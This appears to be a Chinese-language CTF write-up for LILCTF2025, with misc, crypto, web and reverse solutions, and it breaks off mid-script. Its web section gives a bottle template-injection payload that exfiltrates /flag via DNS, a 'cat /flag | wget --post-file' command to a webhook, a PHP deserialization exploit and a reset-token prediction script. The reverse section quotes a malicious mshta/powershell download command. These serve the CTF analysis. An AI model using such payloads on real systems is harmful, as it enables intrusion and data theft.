0%

LilCTF2025_WP

Misc

是谁没有阅读参赛须知?

字符串搜索

LILCTF{Me4n1ngFu1_w0rDs}

v我50(R)MB

直接下载在线环境中的头像是被截断的图片,这里bp抓包,发现304,然后放包发现到另外一个url,拦截响应,得到完整结构的图片,保存此条目,将响应包解码即可

LILCTF{i_d#nT_kN0w_bUt_@I_93NEraTED_7h4T_c0de}

PNG Master

第一段在文件结束尾部010查看解码即可

1
6K6p5L2g6Zq+6L+H55qE5LqL5oOF77yM5pyJ5LiA5aSp77yM5L2g5LiA5a6a5Lya56yR552A6K+05Ye65p2lZmxhZzE6NGM0OTRjNDM1NDQ2N2I=
1
让你难过的事情,有一天,你一定会笑着说出来flag1:4c494c4354467b

第二段,LSB隐写,RGB最低位

解码得到

1
在我们心里,有一块地方是无法锁住的,那块地方叫做希望flag2:5930755f3472335f4d

第三段,pngcheck

1
2
pngcheck -v 150041_misc-PNG_M@st3r.png
chunk IDAT at offset 0x6f7bb, length 270

这一块异常,提取出来,然后zlib解压,得到压缩包

hint是零宽隐写,提示secret与文件名异或

得到flag3:61733765725f696e5f504e477d

三段值十六进制解码得到最终flag

LILCTF{Y0u_4r3_Mas7er_in_PNG}

提前放出附件

bkcrack明文攻击,tar文件元数据里预留很多空白填充,即十六进制00

一般来说,除开头文件名外00较多外,每一块特别是尾端也有很多,利用这一段已知的数据攻击

1
2
3
4
5
6
7
8
9
10
11
E:\Users\20497Downloads\misc>bkcrack -C 153010_misc-public-ahead.zip -c flag.tar    -x 500 000000000000000000000000
bkcrack 1.7.1 - 2024-12-21
[18:21:46] Z reduction using 4 bytes of known plaintext
100.0 % (4 / 4)
[18:21:46] Attack on 1233365 Z values at index 507
Keys: 945815e7 4e7a2163 e46b8f88
60.7 % (749261 / 1233365)
Found a solution. Stopping.
You may resume the attack with the option: --continue-attack 749261
[18:31:40] Keys
945815e7 4e7a2163 e46b8f88
1
2
3
4
5
E:\Users\20497Downloads\misc>bkcrack -C 153010_misc-public-ahead.zip  -k 945815e7 4e7a2163 e46b8f88 -U newmisc.zip 123456
bkcrack 1.7.1 - 2024-12-21
[18:38:19] Writing unlocked archive newmisc.zip with password "123456"
100.0 % (1 / 1)
Wrote unlocked archive.

进一步解压flag.tar得到flag

LILCTF{Z1pCRyp70_1s_n0t_5ecur3}

反馈调查

问卷质量也不错

LILCTF{F4l1En_l3aV3s_Re7urN_T0_tHe1R_rO0tS}

Crypto

ez_math

Cdiag(lambda1, lambda2)相似,因此lambda1lambda2C的特征值,即两段flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from Crypto.Util.number import *

p = 9620154777088870694266521670168986508003314866222315790126552504304846236696183733266828489404860276326158191906907396234236947215466295418632056113826161
C = matrix(GF(p), [
[7062910478232783138765983170626687981202937184255408287607971780139482616525215270216675887321965798418829038273232695370210503086491228434856538620699645, 7096268905956462643320137667780334763649635657732499491108171622164208662688609295607684620630301031789132814209784948222802930089030287484015336757787801],
[7341430053606172329602911405905754386729224669425325419124733847060694853483825396200841609125574923525535532184467150746385826443392039086079562905059808, 2557244298856087555500538499542298526800377681966907502518580724165363620170968463050152602083665991230143669519866828587671059318627542153367879596260872]
])

# Compute the eigenvalues of C
eigenvalues = C.eigenvalues()
lambda1 = eigenvalues[0]
lambda2 = eigenvalues[1]

# Convert to integers
lambda1 = int(lambda1)
lambda2 = int(lambda2)

# Convert to bytes
flag_part1 = long_to_bytes(lambda1)
flag_part2 = long_to_bytes(lambda2)
flag = flag_part1 + flag_part2

print("Flag:", flag)

LILCTF{It_w4s_the_be5t_of_times_1t_wa5_the_w0rst_of_t1me5}

Linear

本题相当于要求解x 由于方程的数量(16)少于未知数的数量(32),所以会存在多解,利用sagemath,转换成矩阵和向量后,即\(Ax = b\)静态解用,即A  b 会计算 \(Ax = b\) 的一个解 x

1
2
3
4
A = matrix(ZZ, A)
b = vector(ZZ, b)
x = A \ b
print(x)

把该思路给gemini写个交互程序,但它给出了另一种方法,$ Ax - b = 0 $

然后构造增广矩阵M(A | -b),和向量y在x尾部加一个元素1,使其等价于$ My = 0 $

其实就相当于平时线性代数中解矩阵方程(线性方程组)利用增广矩阵然后化简求解类似,只不过转换成代码求解

然后用格LLL方法求最短向量

静态解还算比较容易,但此题动态解限制10秒输入结果,并如果一次性以向量形式求出来还要稍作处理。

对于这种大量数据交互分割还是有些奇怪问题拷打很久gemini才出来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
import socket
import ast
import time

HOST = 'challenge.xinshi.fun'
PORT = 39922

s = None
try:
# 1. 连接到服务器
print(f"[*] 正在连接到 {HOST}:{PORT}...")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(float(9.0)) # 显式转换为 Python float
s.connect((HOST, PORT))
print("[+] 连接成功!")

# 2. 接收数据直到出现提示符
buffer = b""
prompt = b"Enter your solution: "
print("[*] 正在接收 A, b 和提示符...")
while prompt not in buffer:
chunk = s.recv(8192)
if not chunk:
raise ConnectionError("服务器在发送完整数据前关闭了连接")
buffer += chunk
print("[+] 初始数据接收完毕。")

# 3. 解析数据
data_part = buffer.split(prompt)[0].decode().strip()
lines = data_part.split('\n')
non_empty_lines = list(filter(None, lines))
A_str = non_empty_lines[0]
b_str = non_empty_lines[1]

A_list = ast.literal_eval(A_str)
b_list = ast.literal_eval(b_str)
print("[+] 矩阵 A 和向量 b 解析成功。")

# 4. 使用 SageMath 的 LLL 算法求解
print("[*] 正在使用 LLL 算法计算原始解 x...")
start_time = float(time.time())
A = matrix(ZZ, A_list)
b = vector(ZZ, b_list)
M = A.augment(-b)

# --- 错误修正点 ---
# 1. right_kernel() 返回一个子模块对象
K_submodule = M.right_kernel()

# 2. 从子模块中提取出基向量 (这会返回一个向量列表)
kernel_basis_vectors = K_submodule.basis()

# 3. 使用这些基向量创建一个新的矩阵。只有矩阵对象才有 .LLL() 方法
K_matrix = matrix(ZZ, kernel_basis_vectors)

# 4. 现在对这个由基向量构成的矩阵进行 LLL 规约
L = K_matrix.LLL()
# --- 修正结束 ---
y = L[0]

if y[-1] == -1:
y = -y

if y[-1] != 1:
print("[!] 错误:LLL 算法未能找到有效解。")
s.close()
exit()

x = y[:-1]

end_time = float(time.time())
print(f"[+] 计算成功!耗时: {end_time - start_time:.2f} 秒。")

# 5. 发送解
solution_str = ' '.join(map(str, list(x)))
print(f"[*] 正在发送解...")
s.sendall(solution_str.encode() + b'\n')

# 6. 接收并打印 flag
print("[*] 等待服务器最终响应...")
response = s.recv(4096).decode()
print("\n" + "="*20)
print("服务器响应:")
print(response.strip())
print("="*20 + "\n")

except socket.timeout:
print("[!] 错误:网络连接或计算超时。服务器限制10秒,请检查网络或机器性能。")
except Exception as e:
print(f"[!] 发生意外错误: {e}")
finally:
# 7. 关闭连接
if s:
s.close()
print("[*] 连接已关闭。")

LILCTF{e9bb54f4-8e8a-452c-a99f-467e04d42d44}

mid_math

C = A.inverse() * B B的行是矩阵A的行分别乘以a, b, c, d, e得到的。 因此C是通过基变换矩阵A对一个对角矩阵diag(a, b, c, d, e)进行相似变换。 即C的特征值就是 a, b, c, d, e。 D = C**key。 由线性代数的知识,我们就可以得到 D的特征值必然是 a**key, b**key, c**key, d**key, e**key。 显然,C和D的特征向量是相同的 把题目给gemini,让它写个程序,求C的特征向量,然后其对应相同的特征向量解出key,显然AI的手段略微暴力些。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
from Crypto.Util.number import long_to_bytes
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad

p = 14668080038311483271
C_list = [[11315841881544731102, 2283439871732792326, 6800685968958241983, 6426158106328779372, 9681186993951502212], [4729583429936371197, 9934441408437898498, 12454838789798706101, 1137624354220162514, 8961427323294527914], [12212265161975165517, 8264257544674837561, 10531819068765930248, 4088354401871232602, 14653951889442072670], [6045978019175462652, 11202714988272207073, 13562937263226951112, 6648446245634067896, 13902820281072641413], [1046075193917103481, 3617988773170202613, 3590111338369894405, 2646640112163975771, 5966864698750134707]]
D_list = [[1785348659555163021, 3612773974290420260, 8587341808081935796, 4393730037042586815, 10490463205723658044], [10457678631610076741, 1645527195687648140, 13013316081830726847, 12925223531522879912, 5478687620744215372], [9878636900393157276, 13274969755872629366, 3231582918568068174, 7045188483430589163, 5126509884591016427], [4914941908205759200, 7480989013464904670, 5860406622199128154, 8016615177615097542, 13266674393818320551], [3005316032591310201, 6624508725257625760, 7972954954270186094, 5331046349070112118, 6127026494304272395]]
msg = b"\xcc]B:\xe8\xbc\x91\xe2\x93\xaa\x88\x17\xc4\xe5\x97\x87@\x0fd\xb5p\x81\x1e\x98,Z\xe1n`\xaf\xe0%:\xb7\x8aD\x03\xd2Wu5\xcd\xc4#m'\xa7\xa4\x80\x0b\xf7\xda8\x1b\x82k#\xc1gP\xbd/\xb5j"
# 1. 构造有限域和矩阵
P = GF(p)
C = matrix(P, C_list)
D = matrix(P, D_list)

# 2. 计算特征向量和特征值
# eigenvectors_right() 返回一个列表,每个元素是 (特征值, 特征向量基列表, 重数) 的元组
eigs_C_vectors = C.eigenvectors_right()
eigs_D_vectors = D.eigenvectors_right()

# 3. 创建从特征向量到特征值的映射
# 【修正点】: 'vectors' 是一个列表,我们取第一个元素 vectors[0] 作为基向量
map_C = {tuple(vectors[0]): val for val, vectors, _ in eigs_C_vectors}
map_D = {tuple(vectors[0]): val for val, vectors, _ in eigs_D_vectors}

# 4. 寻找一个共有的、非零特征值对应的特征向量来匹配特征值
lambda_C = None
lambda_D = None
for vec, val_C in map_C.items():
# 选取一个C的非零特征值
if val_C != 0:
# 通过相同的特征向量(字典的键)在D的映射中找到对应的特征值
if vec in map_D:
lambda_C = val_C
lambda_D = map_D[vec]
print(f"成功匹配到一对特征值:")
print(f" - 共享特征向量: {vec}")
print(f" - C 的特征值 (lambda_C): {lambda_C}")
print(f" - D 的特征值 (lambda_D): {lambda_D}")
break # 找到一对即可退出循环

# 5. 求解离散对数问题得到 key
if lambda_C is not None and lambda_D is not None:
# key = log_{lambda_C}(lambda_D)
key = log(lambda_D, lambda_C)
print(f"\n计算得到的密钥 (key): {key}")

# 6. 使用 key 解密消息
# 将 key 转换为字节并填充至16字节
aes_key = pad(long_to_bytes(int(key)), 16)

# 创建 AES 解密器
cipher = AES.new(aes_key, AES.MODE_ECB)

# 解密并去除填充
# 原始代码将 flag 填充到了64字节
decrypted_padded = cipher.decrypt(msg)
flag = unpad(decrypted_padded, 64)

print(f"\n解密得到的 Flag: {flag.decode()}")
else:
print("错误:未能找到一对共有的非零特征向量。")

LILCTF{Are_y0u_5till_4wake_que5t1on_m4ker!}

Space Travel

主要任务是求解key

根据vecs和key的生成方式,key有50*16=800bits

我们有600个方程,显然存在解空间(多解)

学过线性代数的都知道,自由变量的数量 = 800 - 600 = 200

我们可以在有限域2下,进行高斯消元,即模拟手动消元,可以降维到200个方程

然后再找通解和特解,整体过程与解线性方程组差不多,但算法和处理数据代码会更加复杂一些

然后对利用 (bin(nonce & key).count("1")) % 2解进行校验

先把题目已知情况给gemini,叙述即可,主要给task.py,让gemini利用高斯消元解线性方程恢复key进而得到flag,反复反馈和建议(基本都是python语法问题,思路没问题,还好不是sage不然报错更难修),到这里基本得到有效的key

但解出来得不到正确的flag

后来把gemini的解给deepseek推理模型,得到了正确解

原因在于gemini采用的小端序,而deepseek采用的大端序,可能题目中的Jump up提示的是大端序。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
import numpy as np
import hashlib
import ast
from Crypto.Cipher import AES
from params import vecs
def gf2_gaussian_elimination(matrix):
"""在GF(2)上对矩阵进行高斯消元,返回行简化阶梯形矩阵、秩和主元列"""
M = matrix.copy()
rows, cols = M.shape
rank = 0
pivot_cols = []

for j in range(cols):
if rank < rows:
pivot_row = rank
while pivot_row < rows and M[pivot_row, j] == 0:
pivot_row += 1
if pivot_row < rows:
# 交换行
M[[rank, pivot_row]] = M[[pivot_row, rank]]
# 对当前列进行消元
for i in range(rows):
if i != rank and M[i, j] == 1:
M[i] = (M[i] + M[rank]) % 2
pivot_cols.append(j)
rank += 1
return M, rank, pivot_cols

def parse_output(filename="output.txt"):
"""从 output.txt 解析数据"""
with open(filename, 'r') as f:
lines = f.readlines()
data_str = lines[0].split(":", 1)[1].strip()
gift_data = ast.literal_eval(data_str)
flag_str = lines[1].split(":", 1)[1].strip()
encrypted_flag = ast.literal_eval(flag_str)
return gift_data, encrypted_flag

def vecs_structure_analysis(vecs):
"""
分析 vecs 的结构,返回 u, H_C, 和 vecs_int_set
"""
vecs_int = [int(v, 2) for v in vecs]
u_int = vecs_int[0]

# 计算线性码 C: c_i = v_i XOR u
C_int = [v ^ u_int for v in vecs_int]

# 将每个码字转换为 16 位向量 (低位在索引 0)
C_str = [format(c, '016b') for c in C_int]
C_np = np.array([[int(b) for b in v] for v in C_str], dtype=np.uint8)

# 在 GF(2) 上求解线性码的结构
C_rref, rank, pivot_cols = gf2_gaussian_elimination(C_np)

if rank != 12:
print(f"[-] vecs 是 [{len(vecs[0])}, {rank}] 线性码,不是 [16,12]。")
return None, None, None

print(f"[*] vecs 是 [16,12] 线性码")

# 主元列 (前12列)
non_pivot_cols = [j for j in range(16) if j not in pivot_cols]

# 排列顺序: 主元列在前,非主元列在后
permutation = pivot_cols + non_pivot_cols

# 生成矩阵的列排列
G_permuted = C_rref[:rank, permutation]

# 提取系统形式的生成矩阵 [I | P]
I_k = G_permuted[:, :rank]
P = G_permuted[:, rank:]

# 计算校验矩阵: H = [P^T | I_{n-k}] (在排列后的列顺序中)
n_minus_k = 16 - rank
H_permuted = np.hstack([P.T, np.eye(n_minus_k, dtype=np.uint8)])

# 逆排列,恢复到原始列顺序
inv_permutation = np.argsort(permutation)
H_C = H_permuted[:, inv_permutation]

# 转换为正确的 GF(2) 矩阵
u_np = np.array([int(b) for b in format(u_int, '016b')], dtype=np.uint8)
return u_np, H_C, set(vecs_int)

def solve_system(A, b):
"""
在 GF(2) 上求解 A*x = b
返回: 特解, 零空间矩阵 (N_T)
"""
num_vars = A.shape[1]
num_eqs = A.shape[0]

# 构建增广矩阵
M = np.hstack([A, b.reshape(-1, 1)])
M, rank, pivot_cols = gf2_gaussian_elimination(M)

# 检查主元列是否在变量范围内
for col in pivot_cols:
if col >= num_vars:
print("[-] 系统不一致")
return None, None

# 检查剩余的非零行
for i in range(rank, num_eqs):
if M[i, -1] != 0:
print("[-] 系统不一致")
return None, None

# 初始化特解为全零
particular_solution = np.zeros(num_vars, dtype=np.uint8)
# 设置主元位置的值
for i in range(rank):
col = pivot_cols[i]
particular_solution[col] = M[i, -1]

# 自由列: 不在主元列中的列
free_cols = [j for j in range(num_vars) if j not in pivot_cols]
num_free = len(free_cols)

if num_free == 0:
return particular_solution, None

# 构造零空间基矩阵 (每个自由列对应一个基向量)
N_T = np.zeros((num_free, num_vars), dtype=np.uint8)

for idx, free_col in enumerate(free_cols):
N_T[idx, free_col] = 1 # 自由变量的系数
for r in range(rank):
pivot_col = pivot_cols[r]
if M[r, free_col]:
N_T[idx, pivot_col] = 1 # 根据消元结果设置主元列的值

return particular_solution, N_T

def decrypt_flag(key_vector, encrypted_flag):
"""使用恢复的密钥解密 flag"""
# 将二进制向量转换为二进制字符串 (高位在前)
key_str = "".join(map(str, key_vector))
key_int = int(key_str, 2)

# 生成 AES 密钥
aes_key = hashlib.md5(str(key_int).encode()).digest()
cipher = AES.new(key=aes_key, nonce=b"Tiffany", mode=AES.MODE_CTR)
decrypted_flag = cipher.decrypt(encrypted_flag)
return decrypted_flag

def main():
gift_data, encrypted_flag = parse_output()

# 检查 vecs 的结构
u_vec, H_C, vecs_int_set = vecs_structure_analysis(vecs)
if u_vec is None:
print("[-] 无法分析 vecs 结构")
return

# 密钥长度 = 50 segments * 16 bits/segment = 800 bits
key_length = 50 * 16

# 构建线性系统 A*x = b
A = np.zeros((len(gift_data), key_length), dtype=np.uint8)
b = np.zeros(len(gift_data), dtype=np.uint8)

for i, (nonce, bit) in enumerate(gift_data):
# 将 nonce 转换为二进制字符串,长度 800,高位在前
nonce_bin = bin(nonce)[2:].zfill(key_length)[:key_length]
# 设置矩阵 A 的行
for j, bit_val in enumerate(nonce_bin):
A[i, j] = int(bit_val)
b[i] = bit

# 求解 A*x = b
kp, N_T = solve_system(A, b)
if kp is None:
print("[-] 初始系统求解失败")
return

if N_T is None:
# 唯一解的情况
dim_N = 0
print(f"[+] 初始系统有唯一解")

# 检查 key 是否满足 vecs 约束
valid = True
for seg in range(50):
start_idx = seg * 16
segment = kp[start_idx:start_idx + 16]
# 将段转换为整数(高位在前)
seg_int = int("".join(map(str, segment)), 2)
if seg_int not in vecs_int_set:
valid = False
break

if valid:
print("[+] 验证成功! 找到密钥")
flag = decrypt_flag(kp, encrypted_flag)
print(f"Flag: {flag.decode()}")
return
else:
print("[-] 密钥未通过 vecs 约束")
return
else:
dim_N = N_T.shape[0]
print(f"[*] 初始系统零空间维度: {dim_N}")

# 构建新约束系统 (基于 vecs 结构)
n_constraints = 50 * H_C.shape[0] # 50 * 4 = 200
A_c = np.zeros((n_constraints, dim_N), dtype=np.uint8)
b_c = np.zeros(n_constraints, dtype=np.uint8)

# 对每个段添加约束
for seg in range(50):
start_idx = seg * 16
kp_seg = kp[start_idx:start_idx + 16] # 16 位段

# 提取当前段对应的 N_T 部分
N_T_seg = N_T[:, start_idx:start_idx + 16] # dim_N × 16

# 计算约束矩阵: H_c (4×16) * N_T_seg^T (16×dim_N) -> 4×dim_N
constraint_matrix = H_C.dot(N_T_seg.T) % 2
# 计算约束向量: b_c = H_C * (u_vec + kp_seg) mod 2
constraint_vector = (H_C.dot((u_vec ^ kp_seg).T) % 2).flatten()

# 添加到全局系统
start_row = seg * H_C.shape[0]
end_row = start_row + H_C.shape[0]
A_c[start_row:end_row] = constraint_matrix
b_c[start_row:end_row] = constraint_vector

# 求解新系统 A_c * c = b_c
print("[*] 求解新约束系统...")
c_p, c_N_T = solve_system(A_c, b_c)
if c_p is None:
print("[-] 约束系统求解失败")
return

if c_N_T is None:
# 约束系统有唯一解
print("[+] 约束系统有唯一解")
search_space = [c_p]
else:
# 约束系统有多个解
c_dim = c_N_T.shape[0]
print(f"[*] 约束系统有 {2 ** c_dim} 个候选解")
search_space = []
# 生成所有候选解
for i in range(2 ** c_dim):
# 系数向量
coeffs = np.array([(i >> j) & 1 for j in range(c_dim)], dtype=np.uint8)
candidate = c_p.copy()
for j in range(c_dim):
if coeffs[j]:
candidate = (candidate + c_N_T[j]) % 2
search_space.append(candidate)

# 尝试所有候选解
print("[*] 验证候选密钥...")
for candidate in search_space:
# 计算完整密钥: x = kp + c * N_T
if dim_N > 0:
key_vector = (kp + np.dot(candidate, N_T)) % 2
else:
key_vector = kp.copy()

# 检查每个段是否在 vecs 中
valid = True
for seg in range(50):
start_idx = seg * 16
segment = key_vector[start_idx:start_idx + 16]
seg_int = int("".join(map(str, segment)), 2)
if seg_int not in vecs_int_set:
valid = False
break

if valid:
print("[+] 找到符合约束的密钥!")
flag = decrypt_flag(key_vector, encrypted_flag)
try:
flag_str = flag.decode()
print(f"[+] 解密成功: {flag_str}")
return
except:
print(f"[+] 解密字节: {flag}")
return

print("[-] 未找到有效密钥")

if __name__ == "__main__":
main()

LILCTF{Un1qUe_s0luti0n_1N_sUbSp4C3!}

baaaaaag

背包密度小于0.9408,可以用通解,可参考

Merkle-Hellman背包加密(Knapsack)

赛题复现/2024HGAME

其实就是构造格攻击,二进制明文的向量填充-1,与构造由公钥列向量a(对角线填充1或2和密文我们这里的b)矩阵左乘形成线性关系,然后调用BKZ算法求解。

这里我们采用Lazzaro的脚本略微修改

恶心在块大小设置为45才跑了出来正确的p,小于40基本是多解或者不准确的p。

我的电脑大概最少要跑759s出结果,构造更好的格可以在块大小30左右出精确解。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from sage.all import *
import libnum
import hashlib
from math import *
from Crypto.Util.Padding import pad, unpad
from Crypto.Cipher import AES
a = [965032030645819473226880279, 699680391768891665598556373, 1022177754214744901247677527, 680767714574395595448529297, 1051144590442830830160656147, 1168660688736302219798380151, 796387349856554292443995049, 740579849809188939723024937, 940772121362440582976978071, 787438752754751885229607747, 1057710371763143522769262019, 792170184324681833710987771, 912844392679297386754386581, 906787506373115208506221831, 1073356067972226734803331711, 1230248891920689478236428803, 713426848479513005774497331, 979527247256538239116435051, 979496765566798546828265437, 836939515442243300252499479, 1185281999050646451167583269, 673490198827213717568519179, 776378201435505605316348517, 809920773352200236442451667, 1032450692535471534282750757, 1116346000400545215913754039, 1147788846283552769049123803, 994439464049503065517009393, 825645323767262265006257537, 1076742721724413264636318241, 731782018659142904179016783, 656162889354758353371699131, 1045520414263498704019552571, 1213714972395170583781976983, 949950729999198576080781001, 1150032993579134750099465519, 975992662970919388672800773, 1129148699796142943831843099, 898871798141537568624106939, 997718314505250470787513281, 631543452089232890507925619, 831335899173370929279633943, 1186748765521175593031174791, 884252194903912680865071301, 1016020417916761281986717467, 896205582917201847609656147, 959440423632738884107086307, 993368100536690520995612807, 702602277993849887546504851, 1102807438605649402749034481, 629539427333081638691538089, 887663258680338594196147387, 1001965883259152684661493409, 1043811683483962480162133633, 938713759383186904819771339, 1023699641268310599371568653, 784025822858960757703945309, 986182634512707587971047731, 1064739425741411525721437119, 1209428051066908071290286953, 667510673843333963641751177, 642828919542760339851273551, 1086628537309368288204342599, 1084848944960506663668298859, 667827295200373631038775959, 752634137348312783761723507, 707994297795744761368888949, 747998982630688589828284363, 710184791175333909291593189, 651183930154725716807946709, 724836607223400074343868079, 1118993538091590299721647899]
bag = 34962396275078207988771864327
print(bag)
print(len(a))
n = len(a)
ciphertext = b'Lo~G\xf46>\xd609\x8e\x8e\xf5\xf83\xb5\xf0\x8f\x9f6&\xea\x02\xfa\xb1_L\x85\x93\x93\xf7,`|\xc6\xbe\x05&\x85\x8bC\xcd\xe6?TV4q'

# Sanity check for application of low density attack
d = n / log(max(a), 2)
print(CDF(d))
assert CDF(d) < 0.9408

M = Matrix.identity(n) * 2

last_row = [1 for x in a]
M_last_row = Matrix(ZZ, 1, len(last_row), last_row)

last_col = a
last_col.append(bag)
M_last_col = Matrix(ZZ, len(last_col), 1, last_col)

M = M.stack(M_last_row)
M = M.augment(M_last_col)

X = M.BKZ(block_size=45)

sol = []
for i in range(n + 1):
testrow = X.row(i).list()[:-1]
if set(testrow).issubset([-1, 1]):
for v in testrow:
if v == 1:
sol.append(0)
elif v == -1:
sol.append(1)
break

s = sol
print(s)
t = ''.join([str(i) for i in s])
print(t)
p = ''.join([str(i) for i in s[::-1]])
p = int(p,2)
key = hashlib.sha256(str(p).encode()).digest()
cipher = AES.new(key, AES.MODE_ECB)
decrypted = cipher.decrypt(ciphertext)
print(unpad(decrypted,16))
1
2
3
4
34962396275078207988771864327
72
0.8000799299496526
[0, 0, 1, 0, 0, 1, 0, 1, 0, 1, 0, 1, 0, 0, 0, 0, 1, 0, 1, 1, 0, 1, 0, 1, 0, 1, 1, 1, 1, 1, 1, 1, 0, 0, 1, 1, 1, 1, 0, 1, 0, 1, 0, 1, 1, 1, 1, 0, 1, 0, 1, 1, 0, 1, 1, 0, 0, 1, 1, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 1, 1, 1]

LILCTF{M4ybe_7he_brut3_f0rce_1s_be5t}

Web

ez_bottle

看到template和黑名单,大概率是模板注入,看导入的from bottle import route, run, template, post, request, static_file, error,那就是bottle模板注入

搜索bottle template,可看到

https://www.cnblogs.com/i2u9/p/bottle-template.html

:默认模板语法使用语法符号为 <% %> % {{ }}

我们用%绕过黑名单,然后就可以导入python模块了,我们采用pty伪终端调用/bin/sh执行任意命令,将回显外带到DNSlog上

1
2
%import pty
%pty.spawn(['/bin/sh', '-c', 'ping -c 1 `cat /flag|base64|tr -d "\n"`.abcdef.dnslog.cn'])

LILCTF{6#T7lE_h45_63EN_REcyCL3d}

Ekko_note

先注册个普通用户,在server_info里查看启动时间

uuid8可预测性,利用启动时间预测reset_token

重置密码,邮箱在代码里有,uuid8在python3.14版本时加入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import random, uuid

SERVER_START_TIME = 1755303362.776291 # 从 /server_info 拿到
random.seed(SERVER_START_TIME)

def padding(input_string):
byte_string = input_string.encode('utf-8')
if len(byte_string) > 6:
byte_string = byte_string[:6]
padded = byte_string.ljust(6, b'\x00')
return int.from_bytes(padded, byteorder='big')

a = padding("admin")
token = str(uuid.uuid8(a=a))
print("Predicted reset token for admin:", token)

61646d69-6e00-89bf-9a16-ea83f571f76d

重置后在管理员设置里设置url指向一个能返回data为2066年以后的json数据

1
https://app.beeceptor.com/console/flagtest

可利用上面免费网页,添加响应规则

然后即可指向命令

sh -c '… | wget --post-file=- …' 可以外带回显

1
sh -c 'echo "===== FLAG ====="; cat /flag 2>/dev/null' | wget --post-file=- https://webhook.site/a4b98b9d-d05e-447c-a006-def341dba3e6

接着webhook回显

LILCTF{U_hav3_fOund_7He_ri6hT_TimeL1N3!}

Your Uns3r

打开网站审计php代码,发现利用点是User类下的exec函数,exec函数在__destruct函数中触发。

在这之前有三个地方需要我们去绕过,throw异常抛出、strpos函数和exec函数中的多次反序列化

  1. throw异常抛出,可以用设数组为0进行绕过

  2. strpos函数匹配,php对类名的大小写不敏感,把Access改小写绕过

  3. exec函数中的多次反序列化,将username设置为/61dmin绕过

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
class User
{
public $username;
public $value;
}

class Access
{
protected $prefix='/etc/';
protected $suffix="/../../flag";
}


$us=new User();
$us->username="admin";
$Ac=new Access();
$sd=serialize($Ac);
$rd=str_replace("Access","access",$sd);
$us->value=$rd;
$fk=array($us,0);
$c1=str_replace("i:1;i:0;}","i:0;i:0;}",serialize($fk));
$c2=str_replace('s:5:"admin"','S:5:"\61dmin"',$c1);
echo urlencode($c2);



Reverse

1’M no7 A rO6oT

查看网页源码,发现用mshta.exe执行MP3中的恶意HTA命令

1
powershell . \*i*\\\\\\\\\\\\\\\*2\msh*e http://challenge.xinshi.fun:43557/Coloringoutomic_Host.mp3   http://challenge.xinshi.fun:43557/Coloringoutomic_Host.mp3 #     ✅ Ι am nοt a rοbοt: CAPTCHA Verification ID: 10086

把mp3下载下来,确实有HTA标签,但没有有效内容

后来bp抓包,拦截响应,发现响应中的mp3数据比下载下来的多了一大段JavaScript命令

但有混淆,用下面AI写出来的反混淆程序最终得到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45

def decode_from_char_codes():
# === 请在下方粘贴你的变量定义 ===
# 比如:SK=102; UP=117; tV=110; Fx=99; ...
# 只需复制等号部分,不要包含 var 或后面的 eval
code = """
SK=102;UP=117;tV=110;Fx=99;nI=116;pV=105;wt=111;RV=32;wV=82;Rp=114;kz=81;CX=78;GH=40;PS=70;YO=86;kF=75;PO=113;QF=41;sZ=123;nd=118;Ge=97;sV=114;wl=104;NL=121;Ep=76;uS=98;Lj=103;ST=61;Ix=34;Im=59;Gm=101;YZ=109;Xj=71;Fi=48;dL=60;cX=46;ho=108;jF=43;Gg=100;aV=90;uD=67;Nj=83;US=91;tg=93;vx=45;xv=54;QB=49;WT=125;FT=55;yN=51;ff=44;it=50;NW=53;kX=57;zN=52;Mb=56;Wn=119;sC=65;Yp=88;FF=79;
"""

# === 请在下方粘贴 fromCharCode 的参数列表 ===
# 形如:SK,UP,tV,Fx,nI,pV,...
arg_list = """

""" # 省略

# 清理输入
code = code.replace('\n', '').strip()
arg_list = arg_list.replace('\n', '').strip()

# 解析变量
variables = {}
for part in code.split(';'):
if '=' in part:
name, value = part.split('=', 1)
variables[name.strip()] = int(value.strip())

# 解析参数列表
args = [arg.strip() for arg in arg_list.split(',')]

# 转换为字符
chars = []
for arg in args:
if arg in variables:
